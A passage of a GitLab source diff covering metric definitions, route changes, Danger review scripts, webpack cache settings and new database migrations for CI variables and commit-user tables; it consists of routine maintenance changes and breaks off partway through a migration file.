+++ b/config/metrics/settings/20210225045628_operating_system.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: settings.operating_system
description: Information about the operating system running GitLab
product_section: enablement
diff --git a/config/metrics/settings/20210321224827_gitaly_apdex.yml b/config/metrics/settings/20210321224827_gitaly_apdex.yml
index 8fe1e1edc0b..f760abae6dc 100644
--- a/config/metrics/settings/20210321224827_gitaly_apdex.yml
+++ b/config/metrics/settings/20210321224827_gitaly_apdex.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: settings.gitaly_apdex
description: Gitaly application performance
product_section: dev
diff --git a/config/metrics/settings/20210323120839_topology.yml b/config/metrics/settings/20210323120839_topology.yml
index 5fa9b475472..c998b37d039 100644
--- a/config/metrics/settings/20210323120839_topology.yml
+++ b/config/metrics/settings/20210323120839_topology.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: topology
description: Topology data
product_section: enablement
diff --git a/config/metrics/settings/20210702140138_collected_data_categories.yml b/config/metrics/settings/20210702140138_collected_data_categories.yml
new file mode 100644
index 00000000000..dca7e1737db
--- /dev/null
+++ b/config/metrics/settings/20210702140138_collected_data_categories.yml
@@ -0,0 +1,23 @@
+---
+key_path: settings.collected_data_categories
+name: collected_data_categories
+description: List of collected data categories corresponding to instance settings
+product_section: growth
+product_stage: growth
+product_group: group::product intelligence
+product_category: collection
+value_type: object
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65336
+time_frame: none
+data_source: system
+data_category: Standard
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+value_json_schema: 'config/metrics/objects_schemas/collected_data_categories_schema.json'
diff --git a/config/puma_actioncable.example.development.rb b/config/puma_actioncable.example.development.rb
deleted file mode 100644
index 1e1f09cc601..00000000000
--- a/config/puma_actioncable.example.development.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-# frozen_string_literal: true
-
-# -----------------------------------------------------------------------
-# This file is used by the GDK to generate a default config/puma_actioncable.rb file
-# Note that `/home/git` will be substituted for the actual GDK root
-# directory when this file is generated
-# -----------------------------------------------------------------------
-
-# Load "path" as a rackup file.
-#
-# The default is "cable/config.ru".
-#
-rackup 'cable/config.ru'
-pidfile '/home/git/gitlab/tmp/pids/puma_actioncable.pid'
-state_path '/home/git/gitlab/tmp/pids/puma_actioncable.state'
-
-## Uncomment the lines if you would like to write puma stdout & stderr streams
-## to a different location than rails logs.
-## When using GitLab Development Kit, by default, these logs will be consumed
-## by runit and can be accessed using `gdk tail rails-actioncable`
-# stdout_redirect '/home/git/gitlab/log/puma_actioncable.stdout.log',
-# '/home/git/gitlab/log/puma_actioncable.stderr.log',
-# true
-
-# Configure "min" to be the minimum number of threads to use to answer
-# requests and "max" the maximum.
-#
-# The default is "0, 16".
-#
-threads 1, 4
-
-# By default, workers accept all requests and queue them to pass to handlers.
-# When false, workers accept the number of simultaneous requests configured.
-#
-# Queueing requests generally improves performance, but can cause deadlocks if
-# the app is waiting on a request to itself. See https://github.com/puma/puma/issues/612
-#
-# When set to false this may require a reverse proxy to handle slow clients and
-# queue requests before they reach puma. This is due to disabling HTTP keepalive
-queue_requests false
-
-# Bind the server to "url". "tcp://", "unix://" and "ssl://" are the only
-# accepted protocols.
-bind 'unix:///home/git/gitlab_actioncable.socket'
-
-workers 1
-
-require_relative "/home/git/gitlab/lib/gitlab/cluster/lifecycle_events"
-
-on_restart do
- # Signal application hooks that we're about to restart
- Gitlab::Cluster::LifecycleEvents.do_before_master_restart
-end
-
-before_fork do
- # Signal to the puma killer
- Gitlab::Cluster::PumaWorkerKillerInitializer.start @config.options unless ENV['DISABLE_PUMA_WORKER_KILLER']
-
- # Signal application hooks that we're about to fork
- Gitlab::Cluster::LifecycleEvents.do_before_fork
-end
-
-Gitlab::Cluster::LifecycleEvents.set_puma_options @config.options
-on_worker_boot do
- # Signal application hooks of worker start
- Gitlab::Cluster::LifecycleEvents.do_worker_start
-end
-
-# Preload the application before starting the workers; this conflicts with
-# phased restart feature. (off by default)
-
-preload_app!
-
-tag 'gitlab-actioncable-puma-worker'
-
-# Verifies that all workers have checked in to the master process within
-# the given timeout. If not the worker process will be restarted. Default
-# value is 60 seconds.
-#
-worker_timeout 60
-
-# https://github.com/puma/puma/blob/master/5.0-Upgrade.md#lower-latency-better-throughput
-wait_for_less_busy_worker ENV.fetch('PUMA_WAIT_FOR_LESS_BUSY_WORKER', 0.001).to_f
-
-# https://github.com/puma/puma/blob/master/5.0-Upgrade.md#nakayoshi_fork
-nakayoshi_fork unless ENV['DISABLE_PUMA_NAKAYOSHI_FORK'] == 'true'
-
-# Use json formatter
-require_relative "/home/git/gitlab/lib/gitlab/puma_logging/json_formatter"
-
-json_formatter = Gitlab::PumaLogging::JSONFormatter.new
-log_formatter do |str|
- json_formatter.call(str)
-end
diff --git a/config/routes.rb b/config/routes.rb
index f18085dbb54..c1cb5a2a26f 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -64,7 +64,6 @@ Rails.application.routes.draw do
end
resource :experience_level, only: [:show, :update]
- resources :invites, only: [:new, :create]
Gitlab.ee do
resources :groups, only: [:new, :create]
@@ -185,6 +184,10 @@ Rails.application.routes.draw do
resources :survey_responses, only: :index
end
+ Gitlab.jh do
+ draw :province
+ end
+
if ENV['GITLAB_CHAOS_SECRET'] || Rails.env.development? || Rails.env.test?
resource :chaos, only: [] do
get :leakmem
diff --git a/config/routes/admin.rb b/config/routes/admin.rb
index 4d25f24a104..ef8939bc5a9 100644
--- a/config/routes/admin.rb
+++ b/config/routes/admin.rb
@@ -89,7 +89,13 @@ namespace :admin do
get :instance_review, to: 'instance_review#index'
- resources :background_migrations, only: [:index]
+ resources :background_migrations, only: [:index] do
+ member do
+ post :pause
+ post :resume
+ end
+ end
+
resource :health_check, controller: 'health_check', only: [:show]
resource :background_jobs, controller: 'background_jobs', only: [:show]
diff --git a/config/routes/project.rb b/config/routes/project.rb
index 641ca399547..65cdb8bba96 100644
--- a/config/routes/project.rb
+++ b/config/routes/project.rb
@@ -100,6 +100,18 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
end
end
+ resources :runners, only: [:index, :edit, :update, :destroy, :show] do
+ member do
+ post :resume
+ post :pause
+ end
+
+ collection do
+ post :toggle_shared_runners
+ post :toggle_group_runners
+ end
+ end
+
namespace :settings do
resource :ci_cd, only: [:show, :update], controller: 'ci_cd' do
post :reset_cache
@@ -523,18 +535,6 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
end
end
- resources :runners, only: [:index, :edit, :update, :destroy, :show] do # rubocop: disable Cop/PutProjectRoutesUnderScope
- member do
- post :resume # rubocop:todo Cop/PutProjectRoutesUnderScope
- post :pause # rubocop:todo Cop/PutProjectRoutesUnderScope
- end
-
- collection do
- post :toggle_shared_runners # rubocop:todo Cop/PutProjectRoutesUnderScope
- post :toggle_group_runners # rubocop:todo Cop/PutProjectRoutesUnderScope
- end
- end
-
resources :runner_projects, only: [:create, :destroy] # rubocop: disable Cop/PutProjectRoutesUnderScope
resources :badges, only: [:index] do # rubocop: disable Cop/PutProjectRoutesUnderScope
collection do
@@ -547,7 +547,7 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
end
end
- scope :usage_ping, controller: :usage_ping do
+ scope :service_ping, controller: :service_ping do
post :web_ide_clientside_preview # rubocop:todo Cop/PutProjectRoutesUnderScope
post :web_ide_pipelines_count # rubocop:todo Cop/PutProjectRoutesUnderScope
end
@@ -590,7 +590,7 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
:tracing,
:serverless, :clusters, :audit_events, :wikis, :merge_requests,
:vulnerability_feedback, :security, :dependencies, :issues,
- :pipelines, :pipeline_schedules, :snippets)
+ :pipelines, :pipeline_schedules, :runners, :snippets)
end
# rubocop: disable Cop/PutProjectRoutesUnderScope
diff --git a/config/routes/user.rb b/config/routes/user.rb
index 5f746eb6670..109179f76f1 100644
--- a/config/routes/user.rb
+++ b/config/routes/user.rb
@@ -1,5 +1,8 @@
# frozen_string_literal: true
+get 'unsubscribes/:email', to: 'users/unsubscribes#show', as: :unsubscribe
+post 'unsubscribes/:email', to: 'users/unsubscribes#create'
+
# Allows individual providers to be directed to a chosen controller
# Call from inside devise_scope
def override_omniauth(provider, controller, path_prefix = '/users/auth')
diff --git a/config/settings.rb b/config/settings.rb
index a88f6d89ce4..768ad9d284f 100644
--- a/config/settings.rb
+++ b/config/settings.rb
@@ -163,7 +163,7 @@ class Settings < Settingslogic
end
def load_dynamic_cron_schedules!
- cron_jobs['gitlab_usage_ping_worker']['cron'] ||= cron_for_usage_ping
+ cron_jobs['gitlab_service_ping_worker']['cron'] ||= cron_for_service_ping
end
private
@@ -197,7 +197,7 @@ class Settings < Settingslogic
# Runs at a consistent random time of day on a day of the week based on
# the instance UUID. This is to balance the load on the service receiving
# these pings. The sidekiq job handles temporary http failures.
- def cron_for_usage_ping
+ def cron_for_service_ping
# Set a default UUID for the case when the UUID hasn't been initialized.
uuid = Gitlab::CurrentSettings.uuid || 'uuid-not-set'
diff --git a/config/sidekiq_queues.yml b/config/sidekiq_queues.yml
index 283683d22a1..86835393238 100644
--- a/config/sidekiq_queues.yml
+++ b/config/sidekiq_queues.yml
@@ -130,6 +130,8 @@
- 1
- - epics
- 2
+- - epics_new_epic_issue
+ - 1
- - error_tracking_issue_link
- 1
- - experiments_record_conversion_event
@@ -182,6 +184,10 @@
- 1
- - incident_management_oncall_rotations_persist_shifts_job
- 1
+- - incident_management_pending_escalations_alert_check
+ - 1
+- - incident_management_pending_escalations_alert_create
+ - 1
- - invalid_gpg_signature_update
- 2
- - irker
diff --git a/config/webpack.config.js b/config/webpack.config.js
index c2af7197f94..118aeac0ee1 100644
--- a/config/webpack.config.js
+++ b/config/webpack.config.js
@@ -1,14 +1,18 @@
+const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
+const BABEL_VERSION = require('@babel/core/package.json').version;
const SOURCEGRAPH_VERSION = require('@sourcegraph/code-host-integration/package.json').version;
+const BABEL_LOADER_VERSION = require('babel-loader/package.json').version;
const CompressionPlugin = require('compression-webpack-plugin');
const CopyWebpackPlugin = require('copy-webpack-plugin');
const glob = require('glob');
const VueLoaderPlugin = require('vue-loader/lib/plugin');
const VUE_LOADER_VERSION = require('vue-loader/package.json').version;
const VUE_VERSION = require('vue/package.json').version;
+
const webpack = require('webpack');
const { BundleAnalyzerPlugin } = require('webpack-bundle-analyzer');
const { StatsWriterPlugin } = require('webpack-stats-plugin');
@@ -21,6 +25,12 @@ const vendorDllHash = require('./helpers/vendor_dll_hash');
const MonacoWebpackPlugin = require('./plugins/monaco_webpack');
const ROOT_PATH = path.resolve(__dirname, '..');
+const SUPPORTED_BROWSERS = fs.readFileSync(path.join(ROOT_PATH, '.browserslistrc'), 'utf-8');
+const SUPPORTED_BROWSERS_HASH = crypto
+ .createHash('sha256')
+ .update(SUPPORTED_BROWSERS)
+ .digest('hex');
+
const VENDOR_DLL = process.env.WEBPACK_VENDOR_DLL && process.env.WEBPACK_VENDOR_DLL !== 'false';
const CACHE_PATH = process.env.WEBPACK_CACHE_PATH || path.join(ROOT_PATH, 'tmp/cache');
const IS_PRODUCTION = process.env.NODE_ENV === 'production';
@@ -217,6 +227,16 @@ module.exports = {
loader: 'babel-loader',
options: {
cacheDirectory: path.join(CACHE_PATH, 'babel-loader'),
+ cacheIdentifier: [
+ process.env.BABEL_ENV || process.env.NODE_ENV || 'development',
+ webpack.version,
+ BABEL_VERSION,
+ BABEL_LOADER_VERSION,
+ // Ensure that changing supported browsers will refresh the cache
+ // in order to not pull in outdated files that import core-js
+ SUPPORTED_BROWSERS_HASH,
+ ].join('|'),
+ cacheCompression: false,
},
},
{
@@ -398,7 +418,9 @@ module.exports = {
new VueLoaderPlugin(),
// automatically configure monaco editor web workers
- new MonacoWebpackPlugin(),
+ new MonacoWebpackPlugin({
+ globalAPI: true,
+ }),
// fix legacy jQuery plugins which depend on globals
new webpack.ProvidePlugin({
@@ -422,7 +444,7 @@ module.exports = {
);
// eslint-disable-next-line global-require
- const dllConfig = require('./webpack.vendor.config.js');
+ const dllConfig = require('./webpack.vendor.config');
const dllCompiler = webpack(dllConfig);
dllCompiler.run((err, stats) => {
diff --git a/danger/database/Dangerfile b/danger/database/Dangerfile
index cd56ea8dd22..3018196ddbc 100644
--- a/danger/database/Dangerfile
+++ b/danger/database/Dangerfile
@@ -25,6 +25,11 @@ DB_FILES_MESSAGE = <<~MSG
The following files require a review from the Database team:
MSG
+DB_REMOVE_MESSAGE = <<~MSG
+If you no longer require a database review, you can remove this suggestion
+by removing the ~database label and re-running the [`danger-review` job](#{ENV['CI_JOB_URL']}).
+MSG
+
DATABASE_APPROVED_LABEL = 'database::approved'
non_geo_db_schema_updated = !git.modified_files.grep(%r{\Adb/structure\.sql}).empty?
@@ -53,7 +58,12 @@ if gitlab.mr_labels.include?('database') || db_paths_to_review.any?
'review from the [Database team](https://gitlab.com/groups/gl-database/-/group_members).'
markdown(DB_MESSAGE)
- markdown(DB_FILES_MESSAGE + helper.markdown_list(db_paths_to_review)) if db_paths_to_review.any?
+
+ if db_paths_to_review.any?
+ markdown(DB_FILES_MESSAGE + helper.markdown_list(db_paths_to_review))
+ else
+ markdown(DB_REMOVE_MESSAGE)
+ end
unless helper.has_database_scoped_labels?
gitlab.api.update_merge_request(gitlab.mr_json['project_id'],
diff --git a/danger/datateam/Dangerfile b/danger/datateam/Dangerfile
index 0a33cb6777b..263fd4aa8e3 100644
--- a/danger/datateam/Dangerfile
+++ b/danger/datateam/Dangerfile
@@ -1,15 +1,19 @@
# frozen_string_literal: true
-# rubocop:disable Style/SignalException
+
+DATA_WAREHOUSE_LABELS = [
+ "Data Warehouse::Impact Check",
+ "Data Warehouse::Impacted",
+ "Data Warehouse::Not Impacted"
+].freeze
CHANGED_SCHEMA_MESSAGE = <<~MSG
-Mentioning @gitlab-data/engineers to notify the team about changes to the db/structure.sql file.
+Notification to the Data Team about changes to the db/structure.sql file, add label `Data Warehouse::Impact Check`.
+
+/label ~"Data Warehouse::Impact Check"
MSG
db_schema_updated = !git.modified_files.grep(%r{\Adb/structure\.sql}).empty?
+no_data_warehouse_labels = (gitlab.mr_labels & DATA_WAREHOUSE_LABELS).empty?
-if db_schema_updated
-
- markdown(CHANGED_SCHEMA_MESSAGE)
-
-end
+markdown(CHANGED_SCHEMA_MESSAGE) if db_schema_updated && no_data_warehouse_labels
diff --git a/danger/feature_flag/Dangerfile b/danger/feature_flag/Dangerfile
index bf2194724fc..9b67590f117 100644
--- a/danger/feature_flag/Dangerfile
+++ b/danger/feature_flag/Dangerfile
@@ -41,6 +41,19 @@ def message_for_feature_flag_missing_group!(feature_flag:, mr_group_label:)
end
end
+def message_for_global_rollout(feature_flag)
+ return unless feature_flag.default_enabled == true
+
+ message = <<~SUGGEST_COMMENT
+ You're about to [release the feature with the feature flag](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20Flag%20Roll%20Out.md#optional-release-the-feature-with-the-feature-flag).
+ This process can only be done **after** the [global rollout on production](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20Flag%20Roll%20Out.md#global-rollout-on-production).
+ Please make sure in [the rollout issue](#{feature_flag.rollout_issue_url}) that the preliminary steps have already been done. Otherwise, changing the YAML definition might not have the desired effect.
+ SUGGEST_COMMENT
+
+ mr_line = feature_flag.raw.lines.find_index { |l| l.include?('default_enabled:') }
+ markdown(message, file: feature_flag.path, line: mr_line.succ)
+end
+
def message_for_feature_flag_with_group!(feature_flag:, mr_group_label:)
return if feature_flag.group_match_mr_label?(mr_group_label)
@@ -65,30 +78,10 @@ feature_flag.feature_flag_files(change_type: :added).each do |feature_flag|
check_feature_flag_yaml(feature_flag)
end
-if helper.security_mr? && feature_flag_file_added?
- fail "Feature flags are discouraged from security merge requests. Read the [security documentation](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/utilities/feature_flags.md) for details."
+feature_flag.feature_flag_files(change_type: :modified).each do |feature_flag|
+ message_for_global_rollout(feature_flag)
end
-if feature_flag_file_added_or_removed?
- new_mr_title = helper.mr_title.dup
- new_mr_title << ' [RUN ALL RSPEC]' unless helper.run_all_rspec_mr?
- new_mr_title << ' [RUN AS-IF-FOSS]' unless helper.run_as_if_foss_mr?
-
- changes = {}
- changes[:add_labels] = FEATURE_FLAG_LABEL unless helper.mr_has_labels?(FEATURE_FLAG_LABEL)
-
- if new_mr_title != helper.mr_title
- changes[:title] = new_mr_title
- else
- message "You're adding or removing a feature flag, your MR title needs to include `[RUN ALL RSPEC] [RUN AS-IF-FOSS]` (we may have updated it automatically for you and started a new MR pipeline) to ensure everything is covered."
- end
-
- if changes.any?
- gitlab.api.update_merge_request(
- gitlab.mr_json['project_id'],
- gitlab.mr_json['iid'],
- **changes
- )
- gitlab.api.post("/projects/#{gitlab.mr_json['project_id']}/merge_requests/#{gitlab.mr_json['iid']}/pipelines")
- end
+if helper.security_mr? && feature_flag_file_added?
+ fail "Feature flags are discouraged from security merge requests. Read the [security documentation](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/utilities/feature_flags.md) for details."
end
diff --git a/danger/gitaly/Dangerfile b/danger/gitaly/Dangerfile
new file mode 100644
index 00000000000..59e55845c83
--- /dev/null
+++ b/danger/gitaly/Dangerfile
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+TEMPLATE_MESSAGE = <<~MSG
+This merge request requires coordination with gitaly deployments.
+Before merging this merge request we should verify that gitaly
+running in production already implements the new gRPC interface
+included here.
+
+Failing to do so will introduce a [non backward compatible
+change](https://docs.gitlab.com/ee/development/multi_version_compatibility.html)
+during canary depoyment that can cause an incident.
+
+1. Identify the gitaly MR introducing the new interface
+1. Verify that the environment widget contains a `gprd` deployment
+MSG
+
+changed_lines = helper.changed_lines('Gemfile.lock')
+if changed_lines.any? { |line| line =~ /^\+\s+gitaly \(/ }
+ warn 'Changing gitaly gem can cause a multi-version incompatibility incident'
+
+ markdown(TEMPLATE_MESSAGE)
+end
diff --git a/danger/pajamas/Dangerfile b/danger/pajamas/Dangerfile
index 36bf7672cbf..dda0218e918 100644
--- a/danger/pajamas/Dangerfile
+++ b/danger/pajamas/Dangerfile
@@ -19,7 +19,6 @@ PATTERNS = %w[
<button
<tabs
bs-callout
- createFlash
deprecated-modal
gl-deprecated-button
gl-deprecated-dropdown
diff --git a/danger/specialization_labels/Dangerfile b/danger/specialization_labels/Dangerfile
index 2261fe23e4e..35125f20b14 100644
--- a/danger/specialization_labels/Dangerfile
+++ b/danger/specialization_labels/Dangerfile
@@ -9,7 +9,8 @@ SPECIALIZATIONS = {
docs: 'documentation',
qa: 'QA',
engineering_productivity: 'Engineering Productivity',
- ci_template: 'ci::templates'
+ ci_template: 'ci::templates',
+ feature_flag: 'feature flag'
}.freeze
labels_to_add = project_helper.changes_by_category.each_with_object([]) do |(category, _changes), memo|
diff --git a/danger/vue_shared_documentation/Dangerfile b/danger/vue_shared_documentation/Dangerfile
new file mode 100644
index 00000000000..103ef3591af
--- /dev/null
+++ b/danger/vue_shared_documentation/Dangerfile
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+def has_matching_story?(file)
+ File.file?(file.dup.sub!(/\.vue$/, '.stories.js'))
+end
+
+def get_vue_shared_files(files)
+ files.select do |file|
+ file.end_with?('.vue') &&
+ file.include?('vue_shared/') &&
+ !has_matching_story?(file)
+ end
+end
+
+vue_shared_candidates = get_vue_shared_files(helper.all_changed_files)
+
+return if vue_shared_candidates.empty?
+
+documentation_url = 'https://docs.gitlab.com/ce/development/fe_guide/storybook'
+file_list = "- #{vue_shared_candidates.map { |path| "`#{path}`" }.join("\n- ")}"
+
+warn "This merge request changed undocumented Vue components in `vue_shared/`. Please consider [creating Stories](#{documentation_url}) for these components:\n#{file_list}"
diff --git a/data/whats_new/202010230001_13_05.yml b/data/whats_new/202010230001_13_05.yml
index 84a286fb590..d7dc43d0294 100644
--- a/data/whats_new/202010230001_13_05.yml
+++ b/data/whats_new/202010230001_13_05.yml
@@ -53,7 +53,7 @@
self-managed: true
gitlab-com: true
packages: [Free, Premium, Ultimate]
- url: https://docs.gitlab.com/ee/ci/runners/README.html#disable-shared-runners
+ url: https://docs.gitlab.com/ee/ci/runners/index.html#disable-shared-runners
image_url: https://about.gitlab.com/images/13_5/enable_shared_runners_v2.png
published_at: 2020-10-22
release: 13.5
diff --git a/db/ci_migrate/20210617101848_create_ci_instance_variables_on_ci.rb b/db/ci_migrate/20210617101848_create_ci_instance_variables_on_ci.rb
new file mode 100644
index 00000000000..7274e6bcdf2
--- /dev/null
+++ b/db/ci_migrate/20210617101848_create_ci_instance_variables_on_ci.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class CreateCiInstanceVariablesOnCi < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:ci_instance_variables)
+ create_table :ci_instance_variables do |t|
+ t.integer :variable_type, null: false, limit: 2, default: 1
+ t.boolean :masked, default: false, allow_null: false
+ t.boolean :protected, default: false, allow_null: false
+ t.text :key, null: false
+ t.text :encrypted_value
+ t.text :encrypted_value_iv
+
+ t.index [:key], name: 'index_ci_instance_variables_on_key', unique: true, using: :btree
+ end
+ end
+
+ add_text_limit(:ci_instance_variables, :key, 255)
+ # Use constraint_name generated from db/migrate/20200625193358_increase_size_on_instance_level_variable_values.rb
+ add_text_limit(:ci_instance_variables, :encrypted_value, 13_579, constraint_name: 'check_956afd70f1')
+ add_text_limit(:ci_instance_variables, :encrypted_value_iv, 255)
+ end
+
+ def down
+ drop_table :ci_instance_variables
+ end
+end
diff --git a/db/ci_schema_migrations/20210617101848 b/db/ci_schema_migrations/20210617101848
new file mode 100644
index 00000000000..2969c694fa2
--- /dev/null
+++ b/db/ci_schema_migrations/20210617101848
@@ -0,0 +1 @@
+1b74312f59f6f8937cd0dd754d22dc72e9bdc7302e6254a2fda5762afebe303c \ No newline at end of file
diff --git a/db/ci_structure.sql b/db/ci_structure.sql
new file mode 100644
index 00000000000..1b898012f46
--- /dev/null
+++ b/db/ci_structure.sql
@@ -0,0 +1,45 @@
+CREATE TABLE ar_internal_metadata (
+ key character varying NOT NULL,
+ value character varying,
+ created_at timestamp(6) without time zone NOT NULL,
+ updated_at timestamp(6) without time zone NOT NULL
+);
+
+CREATE TABLE ci_instance_variables (
+ id bigint NOT NULL,
+ variable_type smallint DEFAULT 1 NOT NULL,
+ masked boolean DEFAULT false,
+ protected boolean DEFAULT false,
+ key text NOT NULL,
+ encrypted_value text,
+ encrypted_value_iv text,
+ CONSTRAINT check_07a45a5bcb CHECK ((char_length(encrypted_value_iv) <= 255)),
+ CONSTRAINT check_5aede12208 CHECK ((char_length(key) <= 255)),
+ CONSTRAINT check_956afd70f1 CHECK ((char_length(encrypted_value) <= 13579))
+);
+
+CREATE SEQUENCE ci_instance_variables_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_instance_variables_id_seq OWNED BY ci_instance_variables.id;
+
+CREATE TABLE schema_migrations (
+ version character varying NOT NULL
+);
+
+ALTER TABLE ONLY ci_instance_variables ALTER COLUMN id SET DEFAULT nextval('ci_instance_variables_id_seq'::regclass);
+
+ALTER TABLE ONLY ar_internal_metadata
+ ADD CONSTRAINT ar_internal_metadata_pkey PRIMARY KEY (key);
+
+ALTER TABLE ONLY ci_instance_variables
+ ADD CONSTRAINT ci_instance_variables_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY schema_migrations
+ ADD CONSTRAINT schema_migrations_pkey PRIMARY KEY (version);
+
+CREATE UNIQUE INDEX index_ci_instance_variables_on_key ON ci_instance_variables USING btree (key);
diff --git a/db/fixtures/development/19_environments.rb b/db/fixtures/development/19_environments.rb
index 0f9188164c9..50ce6bfc297 100644
--- a/db/fixtures/development/19_environments.rb
+++ b/db/fixtures/development/19_environments.rb
@@ -6,7 +6,7 @@ class Gitlab::Seeder::Environments
end
def seed!
- @project.create_mock_monitoring_service!(active: true)
+ @project.create_mock_monitoring_integration!(active: true)
create_master_deployments!('production')
create_master_deployments!('staging')
diff --git a/db/gitlab_structure.sql b/db/gitlab_structure.sql
deleted file mode 100644
index 0d4943ccde4..00000000000
--- a/db/gitlab_structure.sql
+++ /dev/null
@@ -1,3 +0,0 @@
--- this file tracks custom GitLab data, such as foreign keys referencing partitioned tables
--- more details can be found in the issue: https://gitlab.com/gitlab-org/gitlab/-/issues/201872
-
diff --git a/db/migrate/20201224144948_migrate_coverage_report_worker.rb b/db/migrate/20201224144948_migrate_coverage_report_worker.rb
index a13e5e859e0..8580a15c256 100644
--- a/db/migrate/20201224144948_migrate_coverage_report_worker.rb
+++ b/db/migrate/20201224144948_migrate_coverage_report_worker.rb
@@ -6,10 +6,10 @@ class MigrateCoverageReportWorker < ActiveRecord::Migration[6.0]
DOWNTIME = false
def up
- sidekiq_queue_migrate 'ci_pipelines_create_artifact', to: 'ci_pipeline_artifacts_coverage_report'
+ sidekiq_queue_migrate 'ci_pipelines_create_artifact', to: 'ci_pipeline_artifacts_coverage_report' # rubocop:disable Migration/SidekiqQueueMigrate
end
def down
- sidekiq_queue_migrate 'ci_pipeline_artifacts_coverage_report', to: 'ci_pipelines_create_artifact'
+ sidekiq_queue_migrate 'ci_pipeline_artifacts_coverage_report', to: 'ci_pipelines_create_artifact' # rubocop:disable Migration/SidekiqQueueMigrate
end
end
diff --git a/db/migrate/20210317210338_add_valid_runner_registrars.rb b/db/migrate/20210317210338_add_valid_runner_registrars.rb
new file mode 100644
index 00000000000..61663836d39
--- /dev/null
+++ b/db/migrate/20210317210338_add_valid_runner_registrars.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddValidRunnerRegistrars < ActiveRecord::Migration[6.0]
+ def change
+ add_column :application_settings, :valid_runner_registrars, :string, array: true, default: %w(project group)
+ end
+end
diff --git a/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb b/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb
index b9cefe456b8..51f234166de 100644
--- a/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb
+++ b/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb
@@ -6,10 +6,10 @@ class RenameSyncSecurityReportApprovalRulesSidekiqQueue < ActiveRecord::Migratio
DOWNTIME = false
def up
- sidekiq_queue_migrate 'sync_security_reports_to_report_approval_rules', to: 'ci_sync_reports_to_report_approval_rules'
+ sidekiq_queue_migrate 'sync_security_reports_to_report_approval_rules', to: 'ci_sync_reports_to_report_approval_rules' # rubocop:disable Migration/SidekiqQueueMigrate
end
def down
- sidekiq_queue_migrate 'ci_sync_reports_to_report_approval_rules', to: 'sync_security_reports_to_report_approval_rules'
+ sidekiq_queue_migrate 'ci_sync_reports_to_report_approval_rules', to: 'sync_security_reports_to_report_approval_rules' # rubocop:disable Migration/SidekiqQueueMigrate
end
end
diff --git a/db/migrate/20210601132134_remove_partial_index_for_hashed_storage_migration.rb b/db/migrate/20210601132134_remove_partial_index_for_hashed_storage_migration.rb
new file mode 100644
index 00000000000..d9793832d8c
--- /dev/null
+++ b/db/migrate/20210601132134_remove_partial_index_for_hashed_storage_migration.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class RemovePartialIndexForHashedStorageMigration < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index :projects, :id, name: 'index_on_id_partial_with_legacy_storage'
+ end
+
+ def down
+ add_concurrent_index :projects, :id, where: 'storage_version < 2 or storage_version IS NULL', name: 'index_on_id_partial_with_legacy_storage'
+ end
+end
diff --git a/db/migrate/20210602155056_add_merge_request_diff_commit_users.rb b/db/migrate/20210602155056_add_merge_request_diff_commit_users.rb
new file mode 100644
index 00000000000..f99790e0eca
--- /dev/null
+++ b/db/migrate/20210602155056_add_merge_request_diff_commit_users.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class AddMergeRequestDiffCommitUsers < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :merge_request_diff_commit_users, id: :bigint do |t|
+ t.text :name
+ t.text :email
+
+ t.text_limit :name, 512
+ t.text_limit :email, 512
+
+ t.index [:name, :email], unique: true
+ end
+
+ # Names or Emails can be optional, so in some cases one of these may be
+ # null. But if both are NULL/empty, no row should exist in this table.
+ add_check_constraint(
+ :merge_request_diff_commit_users,
+ "(COALESCE(name, '') != '') OR (COALESCE(email, '') != '')",
+ :merge_request_diff_commit_users_name_or_email_existence
+ )
+ end
+
+ def down
+ drop_table :merge_request_diff_commit_users
+ end
+end
diff --git a/db/migrate/20210602155110_add_merge_request_diff_commit_user_columns.rb b/db/migrate/20210602155110_add_merge_request_diff_commit_user_columns.rb
new file mode 100644
index 00000000000..8cc86c7e73c
--- /dev/null
+++ b/db/migrate/20210602155110_add_merge_request_diff_commit_user_columns.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class AddMergeRequestDiffCommitUserColumns < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ # NOTE: these columns are _not_ indexed, nor do they use foreign keys.
+ #
+ # This is deliberate, as creating these indexes on GitLab.com takes a _very_
+ # long time. In addition, there's no real need for them either based on how
+ # this data is used.
+ #
